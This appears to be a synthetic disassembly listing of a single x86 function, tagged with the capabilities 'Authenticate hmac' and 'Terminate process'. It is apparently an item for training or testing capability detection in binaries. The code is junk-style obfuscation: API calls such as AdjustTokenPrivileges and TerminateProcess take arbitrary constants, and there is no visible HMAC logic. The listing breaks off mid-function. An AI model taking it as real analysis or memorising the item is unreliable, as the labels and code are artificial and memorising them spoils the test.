Function at 0x401000
Capabilities:
Authenticate hmac
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov dword [ebp - 0x34], 0x5c
mov dword [ebp - 0xc], 0x40
mov dword [ebp - 0x24], 0x2b
mov dword [ebp - 0x14], 0xe
mov dword [ebp - 0x60], 0x53
mov dword [ebp - 0x20], 0x3b
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x2c], 0x4c
mov dword [ebp - 0x30], 0
mov dword [ebp - 8], 0x13
mov dword [ebp - 0x5c], 0x19
mov dword [ebp - 0x18], 6
mov dword [ebp - 0x50], 0x11
mov dword [ebp - 0x40], 0x5d
mov dword [ebp - 0x4c], 0x21
mov dword [ebp - 0x48], 0x56
mov dword [ebp - 0xec], 0xc
mov dword [ebp - 0x3c], 0x37
mov dword [ebp - 0x28], 0x2f
mov dword [ebp - 0x10], 5
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x38], 0x38
mov dword [ebp - 0x44], 0x52
mov dword [ebp - 0x58], 0x29
mov dword [ebp - 0x54], 0x5b
mov dword [ebp - 0x64], 0
jmp 0x4010cd
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [0x83b9f8]
sub ecx, 0x186ea
cmp dword [ebp - 0x64], ecx
jge 0x4010fc
mov edx, dword [ebp - 0x54]
sub edx, 1
mov dword [ebp - 0x54], edx
push 0x11dc9
push 0x17101
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
add esp, 8
jmp 0x4010c4
mov eax, dword [ebp - 4]
sub eax, 0x25
push eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x28
push ecx
mov edx, dword [ebp - 0x48]
sub edx, 0x20
push edx
mov eax, dword [ebp - 4]
add eax, 0xd
push eax
mov ecx, dword [ebp - 0x14]
sub ecx, 8
push ecx
call fcn.00411320
add esp, 0x14
mov edx, dword [ebp - 0x54]
or edx, dword [0x83ba40]
mov eax, dword [ebp - 0x2c]
and eax, dword [0x83b93c]
or edx, eax
je 0x401146
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp + 0x14]
xor edx, 0xb2f4
xor edx, 0x57514ed8
mov eax, dword [ebp + 0x20]
add eax, 0x19b3
and eax, 0x29b6
xor eax, 0x1a8
mov dword [eax + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], edx
mov ecx, dword [ebp - 0x48]
sub ecx, 0x4c
push ecx
mov edx, dword [ebp - 0xc]
add edx, 0x13
push edx
mov eax, dword [ebp - 0x38]
add eax, 0x21
push eax
mov ecx, dword [ebp - 0x48]
sub ecx, 0xc
push ecx
mov edx, dword [ebp - 8]
add edx, 0x3c
push edx
mov eax, dword [ebp - 0x20]
sub eax, 0x1d
push eax
mov ecx, dword [ebp - 0xec]
add ecx, 0x4f
push ecx
mov edx, dword [ebp - 0x14]
add edx, 0x46
push edx
call fcn.00419760
add esp, 0x20
mov eax, dword [ebp - 0x18]
add eax, 0x48
push eax
mov ecx, dword [0x83b9c0]
add ecx, 0x2f
push ecx
mov edx, dword [ebp - 8]
add edx, 0x14
push edx
mov eax, dword [ebp - 0x38]
sub eax, 0x1d
push eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x16
push ecx
mov edx, dword [0x83b9d8]
add edx, 0x10
push edx
mov eax, dword [0x83b9bc]
sub eax, 0x2a
push eax
mov ecx, dword [0x83ba40]
sub ecx, 0x4f
push ecx
mov edx, dword [ebp - 0x1c]
sub edx, 6
push edx
call fcn.0041ed70
add esp, 0x24
mov eax, dword [ebp + 8]
and eax, 0x8ea2
xor eax, 0x4644d161
mov ecx, dword [ebp + 0x1c]
add ecx, 0xa623
xor ecx, 0xe34e
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov dword [ebp - 0x68], 0
jmp 0x401236
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x54]
sub eax, 0x186fa
cmp dword [ebp - 0x68], eax
jge 0x40127f
push 0xb360
push 0x13c7b
push 0xa9b0
push 0x2c71
push 0x15289
push 0x1cf9
push 0x7ec0
push 0x39fc
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
add esp, 0x20
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
jmp 0x40122d
mov edx, dword [ebp + 0xc]
add edx, 0x77ef
or edx, 0x646c
xor edx, 0x3837d14b
mov eax, dword [ebp + 8]
and eax, 0xaeef
xor eax, 0xa251
mov dword [eax + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], edx
mov ecx, dword [0x83b9f4]
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x110]
cmp ecx, dword [ebp - 0x114]
jge 0x4012dc
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp + 0x18]
add eax, 0x7fc3
xor eax, 0x763d
xor eax, 0x62768387
mov ecx, dword [ebp + 0x18]
and ecx, 0xa7dc
or ecx, 0x3bf8
xor ecx, 0xb440
xor ecx, 0x8ba8
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov edx, dword [ebp - 0x34]
sub edx, 0x32
push edx
mov eax, dword [0x83b994]
sub eax, 0x49
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x29
push ecx
mov edx, dword [ebp - 0x50]
add edx, 0x14
push edx
call fcn.0042a580
add esp, 0x10
mov eax, dword [ebp + 0x14]
and eax, 0xffffc794
xor eax, 0x8100
mov ecx, dword [ebp + 0xc]
or ecx, 0xae34
xor ecx, 0xef02
mov byte [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], al
mov dword [ebp - 0x6c], 0
jmp 0x401369
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [0x83b9dc]
sub eax, 0x186d2
cmp dword [ebp - 0x6c], eax
jge 0x40140a
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x11c]
jge 0x4013b1
mov dword [ebp - 0xa8], 1
jmp 0x4013bb
mov dword [ebp - 0xa8], 0
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2c]
jge 0x4013d8
mov dword [ebp - 0xac], 1
jmp 0x4013e2
mov dword [ebp - 0xac], 0
mov ecx, dword [ebp - 0xa8]
or ecx, dword [ebp - 0xac]
je 0x4013ff
mov edx, dword [0x83b9f8]
add edx, 1
mov dword [0x83b9f8], edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
jmp 0x401360
mov eax, dword [ebp + 0x10]
add eax, 0xb257
xor eax, 0x19231
mov ecx, 0x4779
sub ecx, dword [ebp + 8]
xor ecx, 0xffff9553
mov byte [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], al
mov edx, dword [ebp - 0x58]
add edx, 0x24
push edx
mov eax, dword [ebp - 0x1c]
add eax, 0x40
push eax
mov ecx, dword [ebp - 0x54]
sub ecx, 0x50
push ecx
call fcn.00419f60
add esp, 0xc
mov edx, dword [ebp + 0x1c]
or edx, 0x8763
xor edx, 0x6867d903
mov eax, 0xd633
sub eax, dword [ebp + 0x18]
xor eax, 0xbf38
mov dword [eax + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], edx
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp + 0x20]
xor edx, 0x2b1d
sub edx, 0x8aa9
xor edx, 0xffff784e
mov eax, dword [ebp + 8]
xor eax, 0x5130
xor eax, 0xe365
mov byte [eax + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], dl
mov dword [ebp - 0x70], 0
jmp 0x4014ad
mov ecx, dword [ebp - 0x70]
add ecx, 1
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x186a6
cmp dword [ebp - 0x70], edx
jge 0x4014d4
push 0x1327e
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
add esp, 4
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
jmp 0x4014a4
mov ecx, dword [ebp - 0x38]
sub ecx, 0x2e
push ecx
mov edx, dword [ebp - 0x44]
add edx, 1
push edx
mov eax, dword [0x83b9dc]
add eax, 0x27
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x1b
push ecx
mov edx, dword [ebp - 0x44]
sub edx, 3
push edx
mov eax, dword [0x83b9dc]
sub eax, 0x14
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x4d
push ecx
mov edx, dword [ebp - 0x18]
add edx, 0x50
push edx
call fcn.00419760
add esp, 0x20
mov eax, dword [ebp + 0x14]
sub eax, 0x7384
xor eax, 0x60df
xor eax, 0x59542f24
mov ecx, dword [ebp + 0x14]
add ecx, 0xfeff
xor ecx, 0x1905d
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov edx, dword [0x83b9d8]
cmp edx, dword [0x83b9bc]
jge 0x401559
mov dword [ebp - 0xb0], 1
jmp 0x401563
mov dword [ebp - 0xb0], 0
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 4]
and eax, dword [ebp - 0xb0]
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x120], 0
je 0x401590
mov edx, dword [ebp - 0x4c]
sub edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [0x83b9dc]
sub eax, 1
mov dword [0x83b9dc], eax
mov ecx, 0xa926
sub ecx, dword [ebp + 0x1c]
xor ecx, 0x343359ee
mov edx, 0x9174
sub edx, dword [ebp + 0x14]
sub edx, 0xba08
or edx, 0x3e43
xor edx, 0xffff7e5f
mov dword [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], ecx
mov eax, dword [0x83b9c4]
add eax, 1
mov dword [0x83b9c4], eax
mov ecx, dword [0x83b9c4]
cmp ecx, dword [ebp - 0x10]
jge 0x4015ef
mov dword [ebp - 0xb4], 1
jmp 0x4015f9
mov dword [ebp - 0xb4], 0
mov edx, dword [0x83b9f8]
sub edx, 1
mov dword [0x83b9f8], edx
mov eax, dword [0x83b9f8]
cmp eax, dword [ebp - 0xc]
jge 0x40161e
mov dword [ebp - 0xb8], 1
jmp 0x401628
mov dword [ebp - 0xb8], 0
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x3c]
jge 0x40163c
mov dword [ebp - 0xbc], 1
jmp 0x401646
mov dword [ebp - 0xbc], 0
mov edx, dword [ebp - 0xb4]
and edx, dword [ebp - 0xb8]
or edx, dword [ebp - 0xbc]
je 0x401663
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
xor ecx, 0x142c1
xor ecx, 0x10904
mov edx, dword [ebp + 0x1c]
xor edx, 0xffdf
xor edx, 0xc2da
mov byte [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], cl
mov eax, dword [ebp - 0xc]
add eax, 0x21
push eax
mov ecx, dword [ebp - 0x60]
add ecx, 5
push ecx
mov edx, dword [ebp - 0x40]
sub edx, 0x3f
push edx
mov eax, dword [ebp - 0x20]
add eax, 0x15
push eax
call fcn.004213b0
add esp, 0x10
mov ecx, dword [ebp + 8]
xor ecx, 0xd7fd
xor ecx, 0x736115fb
mov edx, dword [ebp + 0x10]
and edx, 0x44ee
xor edx, 0x400a
mov dword [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], ecx
mov eax, dword [0x83b9fc]
sub eax, 1
mov dword [0x83b9fc], eax
mov dword [ebp - 0x74], 0
jmp 0x4016ee
mov ecx, dword [ebp - 0x74]
add ecx, 1
mov dword [ebp - 0x74], ecx
mov edx, dword [0x83b994]
sub edx, 0x58
cmp dword [ebp - 0x74], edx
jge 0x4017eb
mov eax, dword [ebp - 0x2c]
sub eax, dword [0x83b9bc]
cmp eax, dword [ebp - 0x30]
jge 0x40171a
mov dword [ebp - 0xc0], 1
jmp 0x401724
mov dword [ebp - 0xc0], 0
mov ecx, dword [0x83b9c0]
or ecx, dword [ebp - 0x1c]
cmp ecx, dword [0x83b9c4]
jge 0x401741
mov dword [ebp - 0xc4], 1
jmp 0x40174b
mov dword [ebp - 0xc4], 0
mov edx, dword [ebp - 0xc0]
or edx, dword [ebp - 0xc4]
je 0x4017e6
mov eax, dword [ebp - 0x34]
cmp eax, dword [0x83b940]
jge 0x401774
mov dword [ebp - 0xc8], 1
jmp 0x40177e
mov dword [ebp - 0xc8], 0
mov ecx, dword [ebp - 0x30]
and ecx, dword [0x83b9bc]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x128], edx
mov eax, dword [0x83b9bc]
sub eax, 1
mov dword [0x83b9bc], eax
mov ecx, dword [ebp - 0x124]
cmp ecx, dword [ebp - 0x128]
jge 0x4017bd
mov dword [ebp - 0xcc], 1
jmp 0x4017c7
mov dword [ebp - 0xcc], 0
mov edx, dword [ebp - 0x28]
xor edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xc8]
and eax, dword [ebp - 0xcc]
or edx, eax
je 0x4017e6
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
jmp 0x4016e5
mov dword [ebp - 0x78], 0
jmp 0x4017fd
mov edx, dword [ebp - 0x78]
add edx, 1
mov dword [ebp - 0x78], edx
mov eax, dword [0x83b9d8]
sub eax, 0x186d4
cmp dword [ebp - 0x78], eax
jge 0x401839
push 0xf409
push 0x15dc1
push 0x1288e
push 0x67a
push 0x22b8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
add esp, 0x14
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
jmp 0x4017f4
mov dword [ebp - 0x7c], 0
jmp 0x40184b
mov edx, dword [ebp - 0x7c]
add edx, 1
mov dword [ebp - 0x7c], edx
mov eax, dword [0x83ba40]
sub eax, 0x59
cmp dword [ebp - 0x7c], eax
jge 0x401863
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
jmp 0x401842
mov edx, dword [0x83b9d8]
cmp edx, dword [ebp - 0xc]
jge 0x40187a
mov dword [ebp - 0xd0], 1
jmp 0x401884
mov dword [ebp - 0xd0], 0
mov eax, dword [0x83b93c]
cmp eax, dword [ebp - 0x50]
jge 0x40189a
mov dword [ebp - 0xd4], 1
jmp 0x4018a4
mov dword [ebp - 0xd4], 0
mov ecx, dword [0x83b940]
add ecx, 1
mov dword [0x83b940], ecx
mov edx, dword [0x83b940]
or edx, dword [0x83b9fc]
mov eax, dword [ebp - 0xd0]
and eax, dword [ebp - 0xd4]
and eax, edx
je 0x4018de
mov ecx, dword [0x83b9dc]
add ecx, 1
mov dword [0x83b9dc], ecx
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, 0xffffad84
sub eax, dword [ebp + 8]
xor eax, 0xfffefbe8
mov ecx, dword [ebp + 0xc]
xor ecx, 0x5afb
xor ecx, 0x11eb
mov byte [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], al
mov edx, dword [0x83b9c4]
sub edx, 1
mov dword [0x83b9c4], edx
mov eax, dword [ebp + 0x20]
or eax, 0x4d95
xor eax, 0x7a6c06d7
mov ecx, dword [ebp + 0x1c]
and ecx, 0x881a
xor ecx, 0x812
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov dword [ebp - 0x80], 0
jmp 0x40194c
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 8]
sub eax, 0x186b5
cmp dword [ebp - 0x80], eax
jge 0x401995
push 0x11419
push 0x3892
push 0x136e7
push 0x16184
push 0x20d1
push 0x92eb
push 0x13f3b
push 0x16f5b
call dword [sym.imp.USER32.dll_GetSysColorBrush]
add esp, 0x20
mov ecx, dword [ebp - 0x28]
sub ecx, 1
mov dword [ebp - 0x28], ecx
jmp 0x401943
mov edx, dword [0x83b9d8]
add edx, 0x2b
push edx
mov eax, dword [ebp - 0xc]
sub eax, 0x1c
push eax
mov ecx, dword [0x83b9d8]
sub ecx, 2
push ecx
mov edx, dword [ebp - 0x44]
sub edx, 0x48
push edx
mov eax, dword [0x83b9bc]
add eax, 6
push eax
mov ecx, dword [ebp - 0x44]
sub ecx, 4
push ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x36
push edx
mov eax, dword [ebp - 0x38]
sub eax, 2
push eax
call fcn.00427a00
add esp, 0x20
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x24]
jge 0x4019fa
mov dword [ebp - 0xd8], 1
jmp 0x401a04
mov dword [ebp - 0xd8], 0
mov eax, dword [ebp - 0x40]
sub eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x130], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x12c]
cmp ecx, dword [ebp - 0x130]
jge 0x401a42
mov dword [ebp - 0xdc], 1
jmp 0x401a4c
mov dword [ebp - 0xdc], 0
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x34]
and edx, dword [ebp - 0xd8]
or edx, dword [ebp - 0xdc]
je 0x401a69
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp + 0x14]
and ecx, 0xe87f
xor ecx, 0x803c
mov edx, dword [ebp + 0x1c]
add edx, 0xab4a
xor edx, 0xe8d4
mov byte [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], cl
mov dword [ebp - 0x84], 0
jmp 0x401aa8
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x50]
sub ecx, 0x186b1
cmp dword [ebp - 0x84], ecx
jge 0x401af5
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
push 0x16c1a
push 0xab06
push 0x1778a
push 0x15331
push 0x7a2e
push 0x9263
push 0xbffe
push 0xbdf8
call dword [sym.imp.USER32.dll_GetClientRect]
add esp, 0x20
jmp 0x401a99
mov eax, 0x7028
sub eax, dword [ebp + 0x10]
add eax, 0x8064
xor eax, 0x726567f8
mov ecx, dword [ebp + 0x14]
xor ecx, 0x8152
sub ecx, 0xdb49
xor ecx, 0xffff34c7
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov edx, dword [0x83b9c0]
add edx, 2
push edx
mov eax, dword [ebp - 0x40]
sub eax, 0xa
push eax
mov ecx, dword [ebp - 0x3c]
add ecx, 0x21
push ecx
mov edx, dword [0x83b990]
add edx, 0x10
push edx
mov eax, dword [0x83b9d8]
add eax, 0x1b
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
push ecx
mov edx, dword [0x83b9f4]
add edx, 2
push edx
mov eax, dword [ebp - 0x60]
add eax, 1
push eax
call fcn.00419760
add esp, 0x20
mov ecx, dword [ebp - 0x58]
sub ecx, 1
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x88], 0
jmp 0x401b91
mov edx, dword [ebp - 0x88]
add edx, 1
mov dword [ebp - 0x88], edx
mov eax, dword [0x83b9d8]
sub eax, 0x33
cmp dword [ebp - 0x88], eax
jge 0x401bac
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
jmp 0x401b82
mov dword [ebp - 0x8c], 0
jmp 0x401bc7
mov edx, dword [ebp - 0x8c]
add edx, 1
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x50]
sub eax, 0x186b1
cmp dword [ebp - 0x8c], eax
jge 0x401bf0
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
push 0x4bef
call dword [sym.imp.USER32.dll_IsWindowVisible]
add esp, 4
jmp 0x401bb8
mov edx, dword [ebp - 0x24]
add edx, 0x35
push edx
mov eax, dword [ebp - 0x28]
sub eax, 9
push eax
mov ecx, dword [0x83b9d8]
sub ecx, 2
push ecx
mov edx, dword [ebp - 0x28]
sub edx, 0x24
push edx
mov eax, dword [0x83b9f4]
sub eax, 0x17
push eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0xe
push ecx
mov edx, dword [ebp - 0x58]
sub edx, 0x26
push edx
mov eax, dword [0x83b9fc]
add eax, 0x18
push eax
call fcn.00427a00
add esp, 0x20
mov ecx, dword [0x83b9bc]
imul ecx, dword [0x83b9c4]
cmp ecx, dword [ebp - 0x24]
jge 0x401c55
mov dword [ebp - 0xe0], 1
jmp 0x401c5f
mov dword [ebp - 0xe0], 0
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x134], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x134]
cmp edx, dword [ebp - 0x138]
jge 0x401c94
mov dword [ebp - 0xe4], 1
jmp 0x401c9e
mov dword [ebp - 0xe4], 0
mov eax, dword [0x83b9f0]
and eax, dword [ebp - 0x20]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x140]
jge 0x401cd8
mov dword [ebp - 0xe8], 1
jmp 0x401ce2
mov dword [ebp - 0xe8], 0
mov ecx, dword [ebp - 0xe0]
and ecx, dword [ebp - 0xe4]
and ecx, dword [ebp - 0xe8]
je 0x401d05
mov edx, dword [0x83b990]
sub edx, 1
mov dword [0x83b990], edx
mov eax, dword [ebp - 0x4c]
add eax, 0x2c
push eax
mov ecx, dword [ebp - 0x20]
sub ecx, 4
push ecx
mov edx, dword [ebp - 0x14]
add edx, 0x19
push edx
mov eax, dword [0x83b9bc]
sub eax, 0x21
push eax
mov ecx, dword [0x83b9dc]
sub ecx, 0x17
push ecx
mov edx, dword [0x83b9f4]
sub edx, 0x15
push edx
mov eax, dword [0x83b9d8]
sub eax, 0x21
push eax
mov ecx, dword [ebp - 0x54]
sub ecx, 0x4f
push ecx
mov edx, dword [ebp - 0x28]
sub edx, 0x2c
push edx
call fcn.0041ed70
add esp, 0x24
mov dword [ebp - 0x90], 0
jmp 0x401d71
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0xec]
sub ecx, 0xb
cmp dword [ebp - 0x90], ecx
jge 0x401d8d
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
jmp 0x401d62
mov eax, 0x6436
sub eax, dword [ebp + 0x20]
and eax, 0x705d
sub eax, 0x57a5
xor eax, 0xafb091e1
mov ecx, dword [ebp + 8]
or ecx, 0xffff35ad
xor ecx, 0xffffb7cd
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 8]
or eax, 0x1bc50
sub eax, 0x5e5c
xor eax, 0x1605f
mov ecx, dword [ebp + 8]
xor ecx, 0xf716
xor ecx, 0x453e
mov byte [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], al
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x60]
jge 0x401dfd
mov dword [ebp - 0xf0], 1
jmp 0x401e07
mov dword [ebp - 0xf0], 0
mov eax, dword [ebp - 0x24]
xor eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x48]
or eax, ecx
je 0x401e23
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x3c]
sub eax, 0xe
push eax
mov ecx, dword [0x83b9c4]
sub ecx, 0x32
push ecx
mov edx, dword [ebp - 4]
add edx, 0x23
push edx
mov eax, dword [0x83b9f4]
sub eax, 0x34
push eax
call fcn.0042a580
add esp, 0x10
mov ecx, dword [ebp - 0x58]
sub ecx, 0x1a
push ecx
mov edx, dword [ebp - 4]
sub edx, 0x28
push edx
mov eax, dword [ebp - 0x30]
add eax, 7
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 7
push ecx
mov edx, dword [ebp - 0x24]
add edx, 0x34
push edx
mov eax, dword [ebp - 0x14]
add eax, 0x40
push eax
call fcn.0041ce80
add esp, 0x18
mov ecx, dword [ebp + 0xc]
and ecx, 0x6e81
xor ecx, 0x4a91
mov edx, dword [ebp + 0x20]
xor edx, 0xb5
xor edx, 0x28ce
mov byte [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], cl
mov eax, dword [0x83b9f8]
add eax, 1
mov dword [0x83b9f8], eax
mov dword [ebp - 0x94], 0
jmp 0x401eca
mov ecx, dword [ebp - 0x94]
add ecx, 1
mov dword [ebp - 0x94], ecx
mov edx, dword [0x83b9dc]
sub edx, 0x186d2
cmp dword [ebp - 0x94], edx
jge 0x401f14
push 0x15563
push 0x16cf7
push 0x1743f
push 0x1e1
push 0x14e54
push 0x293e
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esp, 0x18
mov eax, dword [0x83b9c4]
add eax, 1
mov dword [0x83b9c4], eax
jmp 0x401ebb
mov ecx, dword [0x83b9f4]
sub ecx, 0x53
push ecx
mov edx, dword [ebp - 0x30]
add edx, 0x31
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x43
push eax
call fcn.00421890
add esp, 0xc
mov ecx, dword [ebp + 0x20]
add ecx, 0xffda
xor ecx, 0x12873
mov edx, dword [ebp + 0x14]
and edx, 0xb835
xor edx, 0x903e
mov byte [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], cl
mov eax, dword [0x83b9c4]
sub eax, 0x35
push eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0x1d
push ecx
mov edx, dword [0x83b9bc]
sub edx, 0x33
push edx
mov eax, dword [ebp - 0x3c]
sub eax, 0x2b
push eax
mov ecx, dword [ebp - 0x50]
add ecx, 0x4d
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0041ce80
add esp, 0x18
mov eax, dword [ebp + 0x10]
xor eax, 0x133d6
and eax, 0x972e
xor eax, 0x4358c948
mov ecx, dword [ebp + 0x20]
or ecx, 0x6e76
and ecx, 0x59b5
sub ecx, 0xe2ed
xor ecx, 0xffff6564
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x18]
add eax, 0x46
push eax
mov ecx, dword [0x83b9f4]
sub ecx, 0x3a
push ecx
mov edx, dword [0x83b940]
sub edx, 3
push edx
mov eax, dword [ebp - 4]
add eax, 0x13
push eax
mov ecx, dword [0x83b9f8]
sub ecx, 0x38
push ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x32
push edx
mov eax, dword [ebp - 0x44]
sub eax, 0x48
push eax
call fcn.00428380
add esp, 0x1c
mov ecx, dword [ebp + 0x18]
xor ecx, 0xa351
and ecx, 0xd9f4
